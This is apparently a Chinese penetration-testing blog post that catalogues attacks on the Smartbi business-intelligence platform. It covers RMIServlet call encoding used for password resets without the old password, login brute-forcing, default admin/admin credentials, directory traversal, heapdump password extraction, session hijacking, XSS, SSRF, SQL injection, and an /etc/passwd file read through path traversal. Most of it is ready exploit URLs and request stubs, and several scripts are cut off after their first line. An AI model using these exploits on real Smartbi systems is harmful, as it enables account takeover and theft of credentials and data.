SmartBi简介
Smartbi是企业级商业智能和大数据分析平台,满足用户在企业级报表、数据可视化分析、自助分析平台、数据挖掘建模、AI智能分析等大数据分析需求。该软件应用范围较广,据官网介绍,在全球财富500强的10家国内银行,有8家选用了Smartbi。
登录入口
https://127.0.0.1/vision/mobileportal.jsp
https://127.0.0.1/vision/mobileX/login
https://127.0.0.1/vision/index.jsp
密码正确的情况下,部分平台无法登陆,此时设置user-agent为手机端就可以。
SmartBi的两种传参方式
RMIServlet加密
1 |
POST /vision/RMIServlet HTTP/1.1 |
直接传输
1 |
encode=zDp4Wp4gRip+Q5h(kpzDp4xw4tI(6-p+/JV/uuc'(mKi(Kp719J(~K((~K(((pm719JhNp'uKiMM('9/uu/ut/uuXIw6--Qw1/uu/ut/uu6QSS/uu/ut/uuY!a0bp1uN/uu/utk4Qp/JT |
ecode加密字段解密后为:
1 |
UserService+updateUserForChange+["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true] |
等同于
1 |
className=UserService&methodName=updateUserForChange¶ms=["I8a94ca4e0175ab4aab4aaae90175d3e824c66a87","zhongguo1","null","QWEqwe123",true] |
构造数据包:
1 |
POST /vision/RMIServlet HTTP/1.1 |
登录暴破
1 |
POST /vision/RMIServlet HTTP/1.1 |
抓取true/false字段
401认证弱口令及敏感目录
401弱口令
/vision目录下的文件都需要401认证
1 |
admin/admin |
实测发现不论用户名输什么,只要密码正确即可
查看版本
https://127.0.0.1/vision/version.txt
1 |
2021-01-11 15:11:24 |
https://127.0.0.1/vision/packageinfo.txt
1 |
Build Time:20200918153547 |
目录遍历
https://127.0.0.1/vision/chooser.jsp?key=CONFIG_FILE_DIR&root=%2F
信息泄露
https://127.0.0.1/vision/monitor/sysprops.jsp
https://127.0.0.1/vision/monitor/getclassurl.jsp?classname=smartbi.freequery.expression.ast.TextNode
https://127.0.0.1/vision/monitor/hardwareinfo.jsp
接口泄露(直接访问wsdl无需401)
https://127.0.0.1/vision/listwsdl.jsp
提供资源目录树的访问功能
https://127.0.0.1/vision/services/CatalogService?wsdl
SimpleReportService 提供灵活报表相关操作功能
https://127.0.0.1/vision/services/SimpleReportService?wsdl
BusinessViewService 提供数据集定义相关操作功能
https://127.0.0.1/vision/services/BusinessViewService?wsdl
DataSourceService 提供数据源相关操作功能
https://127.0.0.1/vision/services/DataSourceService?wsdl
AnalysisReportService 提供多维分析相关操作功能
https://127.0.0.1/vision/services/AnalysisReportService?wsdl
UserManagerService 提供用户相关操作,包括:读取/维护用户信息、读取/维护组信息、读取/维护角色信息、为用户和组分配角色等
https://127.0.0.1/vision/services/UserManagerService?wsdl
session劫持+重置用户密码(无需原密码)
https://127.0.0.1/vision/monitor/listsessions.jsp
[
理论上重置成功,返回为true,但是实际测试过程中修改后的密码既不是改之前的密码,也不是修改后的密码,过一段时间自动重置为原来的密码。
数据包:
1 |
POST /vision/RMIServlet HTTP/1.1 |
其中I8a94ca4e0175ab4aab4aaae90175d3e824c66a87为用户的id字段,唯一身份标识
heapdump缓存抓取密码
https://127.0.0.1/vision/monitor/heapdump.jsp
https://127.0.0.1/vision/monitor/heapdump.jsp?dumpbin=true
使用Eclipse Memory Analyzer解析内存文件
1 |
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password")) |
反射型/存储型XSS
登录后个人参数位置,加密后传参可导致存储型xss
[
SSRF
探测出口ip:
https://127.0.0.1/vision/monitor/testmailserver.jsp
RMIServet加解密
1 |
from urllib.parse import unquote |
注:加密和解密的过程就是替换字符的过程,最终解密得到的是url编码,加密时传入的文本也要是url编码
decode-unquote-url只是为了方便阅读
SQl注入
需要登录,任意报表功能
https://127.0.0.1/vision/ssreportServlet
1 |
POST /vision/ssreportServlet HTTP/1.1 |
解码并修改数据包直接注入(可直接使用)
修改paramsInfoEncode为paramsInfo,将Encode参数去掉
1 |
POST /vision/ssreportServlet HTTP/1.1 |
py脚本RMI加密后注入
报错注入demo:
1 |
#coding=utf-8 |
在想怎么结合sqlmap写tamper指定位置实现注入,需要修改tamper, 可以实现Payload加密,有时间的话研究一下sqlmap源码可以写一个全加密的tamper
1 |
#coding=utf-8 |
任意文件读取
V85以下的可能任意文件下载都有。V95版本不存在。
1 |
https://127.0.0.1/vision/FileServlet?ftpType=out&path=upload/../../../../../../../../../../etc/passwd&name=%E4%B8%AD%E5%9B%BD%E7%9F%B3%E6%B2%B9%E5%90%89%E6%9E%97%E7%99%BD%E5%9F%8E%E9%94%80%E5%94%AE%E5%88%86%E5%85%AC%E5%8F%B8XX%E5%8A%A0%E6%B2%B9%E7%AB%99%E9%98%B2%E9%9B%B7%E5%AE%89%E5%85%A8%E5%BA%94%E6%80%A5%E9%A2%84%E6%A1%88.docx |
[
FROM :ol4three.com | Author:ol4three
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论